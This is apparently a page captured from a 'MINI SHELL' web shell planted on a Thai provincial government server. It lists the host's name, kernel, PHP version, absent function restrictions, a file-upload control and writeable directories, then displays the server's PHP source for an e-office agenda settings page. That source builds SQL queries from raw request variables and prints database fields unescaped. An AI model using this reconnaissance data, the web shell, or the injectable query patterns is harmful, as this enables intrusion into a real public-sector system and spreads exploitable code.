MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /var/www/html/pathumthani_eoffice/application/agenda/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/pathumthani_eoffice/application/agenda/config_setting.php
<?
session_start();
include("header_menu.php");
include("../../config/config.inc.php");
include("function/function.php");
$smonth = array("","ม.ค.", "ก.พ.", "มี.ค.", "เม.ย.", "พ.ค.", "มิ.ย.", "ก.ค.", "ส.ค.", "ก.ย.", "ต.ค.", "พ.ย.", "ธ.ค.");

function check_data($id, $type = "type"){
$sql = "SELECT * FROM tbl_config_meeting WHERE type_set='$id' and  colump ='$type'";
$result = @mysql_query($sql);
$num1 = @mysql_num_rows($result);

return $num1;
	
}


?>
<html>
<head>
<title></title>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874">
<LINK href="common/style.css" rel=stylesheet>
<link href="../../common/style.css" rel="stylesheet" type="text/css" />

	<SCRIPT LANGUAGE="JavaScript"><!--
function checkempty() {
checknotempty="";
 if(document.post.c1.checked==true) {checknotempty=true}
 if(document.post.c2.checked==true) {checknotempty=true}
 if(document.post.c3.checked==true) {checknotempty=true}
 if(document.post.c4.checked==true) {checknotempty=true}
 if(document.post.c5.checked==true) {checknotempty=true}
 if(document.post.c6.checked==true) {checknotempty=true}
 if(document.post.c7.checked==true) {checknotempty=true}
 if(document.post.c8.checked==true) {checknotempty=true}
 if(document.post.c9.checked==true) {checknotempty=true}
 if(document.post.c10.checked==true) {checknotempty=true}
 if(checknotempty==""){document.post.setting[0].checked='ture';normaldisabled();}
// alert(checknotempty);

}

function normaldisabled() {
 if(document.post.setting[0].checked==true) {
document.post.c1.disabled=true;
document.post.c2.disabled=true;
document.post.c3.disabled=true;
document.post.c4.disabled=true;
document.post.c5.disabled=true;
document.post.c6.disabled=true;
document.post.c7.disabled=true;
document.post.c8.disabled=true;
document.post.c9.disabled=true;
document.post.c10.disabled=true;

document.post.cs1.disabled=true;
document.post.cs2.disabled=true;
document.post.cs3.disabled=true;
document.post.cs4.disabled=true;
document.post.cs5.disabled=true;
document.post.cs6.disabled=true;
document.post.cs7.disabled=true;
document.post.cs8.disabled=true;
document.post.cs9.disabled=true;
document.post.cs10.disabled=true;
}
}

function normalanabled() {
 if(document.post.setting[1].checked==true) {
document.post.c1.disabled=false;
document.post.c2.disabled=false;
document.post.c3.disabled=false;
document.post.c4.disabled=false;
document.post.c5.disabled=false;
document.post.c6.disabled=false;
document.post.c7.disabled=false;
document.post.c8.disabled=false;
document.post.c9.disabled=false;
document.post.c10.disabled=false;
checkall();
document.post.cs1.disabled=false;
document.post.cs2.disabled=false;
document.post.cs3.disabled=false;
document.post.cs4.disabled=false;
document.post.cs5.disabled=false;
document.post.cs6.disabled=false;
document.post.cs7.disabled=false;
document.post.cs8.disabled=false;
document.post.cs9.disabled=false;
document.post.cs10.disabled=false;
}
}

function checkall() {
document.post.c1.checked=true;
document.post.c2.checked=true;
document.post.c3.checked=true;
document.post.c4.checked=true;
document.post.c5.checked=true;
document.post.c6.checked=true;
document.post.c7.checked=true;
document.post.c8.checked=true;
document.post.c9.checked=true;
document.post.c10.checked=true;
}
//--></SCRIPT>
<?
if ($_SERVER[REQUEST_METHOD] == "POST"){ 


// $sql_deloldseting="
//delete from tbl_config_meeting where staffid = '521';  
//";
//echo $sql_deloldseting;
//$result =  mysql_query($sql_deloldseting);
$del = "delete from tbl_config_meeting";
mysql_query($del);

	$sql_seting = "REPLACE INTO tbl_config_meeting(colump,status,type_set)VALUES('type','1','$setting')";
	mysql_query($sql_seting);


	if($c1=="1"){
	$sql_insertsetting="
	REPLACE  INTO tbl_config_meeting (colump , status ) VALUES ('c1' , '$c1' )
	";
	$result =  mysql_query($sql_insertsetting)or die("Query line " . __LINE__ . " error<hr>".mysql_error());
	}
	if($c2=="1"){
	$sql_insertsetting="
	REPLACE INTO tbl_config_meeting (colump , status ) VALUES ('c2' , '$c2')
	";
	$result =  mysql_query($sql_insertsetting)or die("Query line " . __LINE__ . " error<hr>".mysql_error());
	}
	if($c3=="1"){
	$sql_insertsetting="
	REPLACE INTO tbl_config_meeting (colump , status) VALUES ('c3' , '$c3')
	";
	$result =  mysql_query($sql_insertsetting)or die("Query line " . __LINE__ . " error<hr>".mysql_error());
	}
	if($c4=="1"){
	$sql_insertsetting="
	REPLACE INTO tbl_config_meeting (colump , status ) VALUES ('c4' , '$c4' )
	";
	$result =  mysql_query($sql_insertsetting)or die("Query line " . __LINE__ . " error<hr>".mysql_error());
	}
	if($c5=="1"){
	$sql_insertsetting="
	REPLACE INTO tbl_config_meeting (colump , status) VALUES ('c5' , '$c5')
	";
	$result =  mysql_query($sql_insertsetting)or die("Query line " . __LINE__ . " error<hr>".mysql_error());
	}
	if($c6=="1"){
	$sql_insertsetting="
	REPLACE INTO tbl_config_meeting ( colump , status) VALUES ( 'c6' , '$c6' )
	";
	$result =  mysql_query($sql_insertsetting)or die("Query line " . __LINE__ . " error<hr>".mysql_error());
	}
	if($c7=="1"){
	$sql_insertsetting="
	REPLACE INTO tbl_config_meeting (colump , status ) VALUES ( 'c7' , '$c7')
	";
	$result =  mysql_query($sql_insertsetting)or die("Query line " . __LINE__ . " error<hr>".mysql_error());
	}
	
	if($c8=="1"){
	$sql_insertsetting="
	REPLACE INTO tbl_config_meeting (colump , status ) VALUES ( 'c8' , '$c8')
	";
	$result =  mysql_query($sql_insertsetting)or die("Query line " . __LINE__ . " error<hr>".mysql_error());
	}


			$msg.= "เปลี่ยนแปลงข้อมูลเรียบร้อย";
		echo "<meta http-equiv='refresh' content='0;url='>" ;
	exit;

//echo "</pre>";
}
?><form action="" method="post" enctype="multipart/form-data" name="post" id="post">
  <table width="72%" border="0" align="center" cellpadding="1" cellspacing="0" bgcolor="#EEEEEE">
<tr>
<td align="right" bgcolor="#999999">

<table width="100%" border="0" cellpadding="1" cellspacing="0">
<tr>
<td colspan="6" align="left" background="../../images/bg_tr_blue.gif"  class="executive_bg">กาารปรับแต่งคอลัมน์</td>
</tr>
<?


?>
<tr>
	<td width="20" height="20" align="right" class="index2"><input name="setting" type="radio" value="1" onclick="normaldisabled();" <? if(check_data("1") > 0){echo "checked=checked"; } ?>  /></td>
	<? if(!$checkDB){?><script language=javascript>normaldisabled();</script><? } ?>
	<td height="20" colspan="5" align="left" class="index2">มาตรฐาน</td>
	</tr>
<tr>
	<td height="20" align="right" class="index2"><input name="setting" type="radio" value="2" onclick="normalanabled();" <? if(check_data("2") > 0){echo "checked=checked"; } ?>/></td>
	<td height="20" colspan="5" align="left" class="index2">กำหนดการแสดงผล</td>
	</tr>
<tr>
	<td align="right" class="index2">&nbsp;</td>
	<td height="20" colspan="5" align="left" class="index2"><strong>คอลัมน์</strong></td>
	</tr>
<tr>
	<td align="right" class="index2">&nbsp;</td>
	<td width="20" align="left" class="index2">
	
	<input type="checkbox" name="c1"  value="1" onclick="if(document.post.c1.checked){document.post.setting[1].checked='ture'};checkempty();" <? if(check_data("2","c1") > 0 ){echo "checked=checked"; } ?> <? if(check_data("1") > 0){echo "disabled"; } ?>/>	</td>
	<td width="94" height="20" align="left" class="index2">ลำดับ</td>
	<td width="29" align="left" class="index2"><input name="c5" type="checkbox" id="c5" onclick="if(document.post.c5.checked){document.post.setting[1].checked='ture'};checkempty();"  value="1" <? if(check_data("2","c5") > 0){echo "checked=checked"; } ?> <? if(check_data("1") > 0){echo "disabled"; } ?>/></td>
	<td width="113" align="left" class="index2">ไฟล์แนบ</td>
	<td width="426" height="20" align="left" class="index2">&nbsp;</td>
</tr>
<tr>
	<td align="right" class="index2">&nbsp;</td>
	<td align="left" class="index2"><input name="c2" type="checkbox" id="c2" onclick="if(document.post.c2.checked){document.post.setting[1].checked='ture'};checkempty();"  value="1" <? if(check_data("2","c2") > 0){echo "checked=checked"; } ?> <? if(check_data("1") > 0){echo "disabled"; } ?>/></td>
	<td height="20" align="left" class="index2">ชื่อเรื่อง</td>
	<td width="29" align="left" class="index2"><input name="c6" type="checkbox" id="c6" onclick="if(document.post.c6.checked){document.post.setting[1].checked='ture'};checkempty();"  value="1" <? if(check_data("2","c6") > 0){echo "checked=checked"; } ?> <? if(check_data("1") > 0){echo "disabled"; } ?>/></td>
	<td align="left" class="index2">หมวดเรื่อง</td>
	<td height="20" align="left" class="index2">&nbsp;</td>
</tr>
<tr>
  <td align="right" class="index2">&nbsp;</td>
  <td align="left" class="index2"><input name="c8" type="checkbox" id="c8" onclick="if(document.post.c2.checked){document.post.setting[1].checked='ture'};checkempty();"  value="1" <? if(check_data("2","c8") > 0){echo "checked=checked"; } ?> <? if(check_data("1") > 0){echo "disabled"; } ?>/></td>
  <td height="20" align="left" class="index2">เลขที่หนังสือ</td>
  <td align="left" class="index2"><input name="c7" type="checkbox" id="c7" onclick="if(document.post.c7.checked){document.post.setting[1].checked='ture'};checkempty();"  value="1" <? if(check_data("2","c7") > 0){echo "checked=checked"; } ?> <? if(check_data("1") > 0){echo "disabled"; } ?>/></td>
  <td align="left" class="index2">url</td>
  <td height="20" align="left" class="index2">&nbsp;</td>
</tr>
<tr>
	<td align="right" class="index2">&nbsp;</td>
	<td align="left" class="index2"><input name="c3" type="checkbox" id="c3" onclick="if(document.post.c3.checked){document.post.setting[1].checked='ture'};checkempty();"  value="1" <? if(check_data("2","c3") > 0){echo "checked=checked"; } ?> <? if(check_data("1") > 0){echo "disabled"; } ?>/></td>
	<td height="20" align="left" class="index2">รายละเอียด</td>
	<td align="left" class="index2">&nbsp;</td>
	<td align="left" class="index2">&nbsp;</td>
	<td height="20" align="left" class="index2">&nbsp;</td>
</tr>
<tr>
	<td align="right" class="index2">&nbsp;</td>
	<td align="left" class="index2">
	<input name="c4" type="checkbox" id="c4" onclick="if(document.post.c4.checked){document.post.setting[1].checked='ture'};checkempty();"  value="1" <? if(check_data("2","c4") > 0){echo "checked=checked"; } ?> <? if(check_data("1") > 0){echo "disabled"; } ?>/>	</td>
	<td height="20" align="left" class="index2">ลงวันที่</td>
	<td align="left" class="index2">&nbsp;
	<!--<input name="c9" type="checkbox" id="c9" onclick="if(document.post.c9.checked){document.post.setting[1].checked='ture'};checkempty();"  value="1" />-->	</td>
	<td align="left" class="index2">&nbsp;<!--สถานะเอกสาร--></td>
	<td height="20" align="left" class="index2">&nbsp;</td>
</tr>
<tr>
	<td align="right" class="index2">&nbsp;</td>
	<td align="right" class="index2">&nbsp;</td>
	<td height="20" align="left" class="index2">&nbsp;</td>
	<td align="right" class="index2">&nbsp;</td>
	<td align="left" class="index2">&nbsp;</td>
	<td height="20" align="left" class="index2">&nbsp;</td>
</tr>


<tr>
	<td height="20" colspan="6" align="center" class="index2">&nbsp;	</td>
	</tr
><tr>
	<td height="20" colspan="6" align="center" class="index2"><HR color="#eeeeee">
<input name="submit2" type="submit" class="input" style="width:100;" value="บันทึกข้อมูล" />
		&nbsp;
		<input name="button" type="button" class="input" style="width:100;" onclick="location.href='login_admin.php'" value="กลับหน้าหลัก" /></td>
	</tr>
</table>

</td>
</tr>
</table>
</form>

<table width="100%" cellpadding="0" cellspacing="0">
  <tr>
    <td><strong>ตัวอย่างการแสดงผลหน้าสำหรับประชาชน</strong></td>
  </tr>
  <tr>
    <td bgcolor="#000000"><table width="100%" cellpadding="3" cellspacing="1">
      <tr>
	  	<? if(check_data("2","c1")  > 0 or (check_data("1") > 0)){?>
        <td width="5%" align="center" bgcolor="#E7E7E7"><span class="index2"><strong>ลำดับ</strong></span></td>
		<? }?>
		<? if(check_data("2","c2")  > 0 or (check_data("1") > 0)){?>
        <td width="14%" align="center" bgcolor="#E7E7E7"><span class="index2"><strong>ชื่อเรื่อง</strong></span></td>
		<? } ?>
		<? if(check_data("2","c8")  > 0 or (check_data("1") > 0)){?>
        <td width="16%" align="center" bgcolor="#E7E7E7"><span class="index2"><strong>เลขที่หนังสือ</strong></span></td>
		<? } ?>
		<? if(check_data("2","c3")  > 0 or (check_data("1") > 0)){?>
        <td width="17%" align="center" bgcolor="#E7E7E7"><span class="index2"><strong>รายละเอียด</strong></span></td>
		<? } ?>
		<? if(check_data("2","c4")  > 0 or (check_data("1") > 0)){?>
        <td width="12%" align="center" bgcolor="#E7E7E7"><span class="index2"><strong>ลงวันที่</strong></span></td>
		<? } ?>
		<? if(check_data("2","c5")  > 0 or (check_data("1") > 0)){?>
        <td width="12%" align="center" bgcolor="#E7E7E7"><span class="index2"><strong>ไฟล์แนบ</strong></span></td>
		<? } ?>
		<? if(check_data("2","c7")  > 0 or (check_data("1") > 0)){?>
        <td width="12%" align="center" bgcolor="#E7E7E7"><span class="index2"><strong>url</strong></span></td>
		<? } ?>
		<? if(check_data("2","c6")  > 0 or (check_data("1") > 0)){?>
        <td width="12%" align="center" bgcolor="#E7E7E7"><span class="index2"><strong>หมวดเรื่อง</strong></span></td>
		<? } ?>
      </tr>
	  <?
	  	$sql_sel = "SELECT * FROM tbl_subject  ORDER BY id_sub DESC LIMIT 0,3";
		$result_sel = mysql_query($sql_sel);
		$n=0;
		while($rs_s = mysql_fetch_assoc($result_sel)){
			$bg = ($n%2)?'#F1F1F1':'FFFFFF';$n++;
	  
	  ?>
	  
      <tr bgcolor="<?=$bg?>">
	  <? if(check_data("2","c1")  > 0 or (check_data("1") > 0)){?>
        <td align="center"><?=$n?></td>
		<? } ?>
		<? if(check_data("2","c2")  > 0 or (check_data("1") > 0)){?>
        <td align="left"><?=$rs_s[subject]?></td>
		<? } ?>
		<? if(check_data("2","c8")  > 0 or (check_data("1") > 0)){?>
        <td align="left"><?=$rs_s[noorder]?></td>
		<? } ?>
		<? if(check_data("2","c3")  > 0 or (check_data("1") > 0)){?>
        <td align="left"><?=$rs_s[detail]?></td>
		<? } ?>
		<? if(check_data("2","c4")  > 0 or (check_data("1") > 0)){?>
        <td align="center"><?
		$arr_t = explode("-",$rs_s[date_create]);
		if($arr_t[0] != "0000"){
			echo  intval($arr_t[2]) ." ".$smonth[intval($arr_t[1])]." ". $arr_t[0];
		}
	
		?></td>
		<? }?>
		<? if(check_data("2","c5")  > 0 or (check_data("1") > 0)){?>
        <td align="left">
		
		<table width="100%" border="0" cellspacing="0" cellpadding="3">
		<?
		$strSQL_attach = "SELECT * FROM tbl_attach_file WHERE id_attach_file='".$rs_s[id_sub]."' AND status_file='Y'";
		$Result_attach = mysql_query($strSQL_attach);
		while($Rs_a = mysql_fetch_object($Result_attach)){
		?>
		<tr>
			<td align="left">
			<? 
				$comment=($Rs_a->comment =="")?$Rs_a->attach_file :$Rs_a->comment ;
			echo "<a href='attach_file/$Rs_a->attach_file' target='_blank'><img src='images/attach.gif' border='0' alt='คลิกเพื่อแสดงไฟล์แนบ'>$comment</a>";?>			</td>
		 </tr>
		<?
		}
		?>
	</table>
		
		
		
		
		</td>
		<? } ?>
		<? if(check_data("2","c7")  > 0 or (check_data("1") > 0)){?>
        <td align="left">
		
				<table width="100%" border="0" cellspacing="0" cellpadding="3">
          <?
		$strSQL_url1 = "SELECT * FROM tbl_url WHERE id_sub='".$rs_s[id_sub]."'";
		$Result_url1 = mysql_query($strSQL_url1);
		while($Rsu1 = mysql_fetch_object($Result_url1)){
		?>
          <tr>
            <td align="left"><a href="<?=$Rsu1->url?>" target="_blank"><?=$Rsu1->url_name?></a></td>
          </tr>
          <?
		  }
		  ?>
        </table>

		
		</td>
		<? }?>
		<? if(check_data("2","c6")  > 0 or (check_data("1") > 0)){?>
        <td align="center">
		<?
			$sql_type1 = "SELECT * FROM tbl_main_menu WHERE id_menu='$rs_s[id_menu]'";
			$result_type1 = mysql_query($sql_type1);
			$rs_t1 = mysql_fetch_assoc($result_type1);
			echo "$rs_t1[name_menu]";
		
		?>
		</td>
		<? } ?>
      </tr>
<?
	} // end while
?>
    </table></td>
  </tr>
</table>

Anon7 - 2021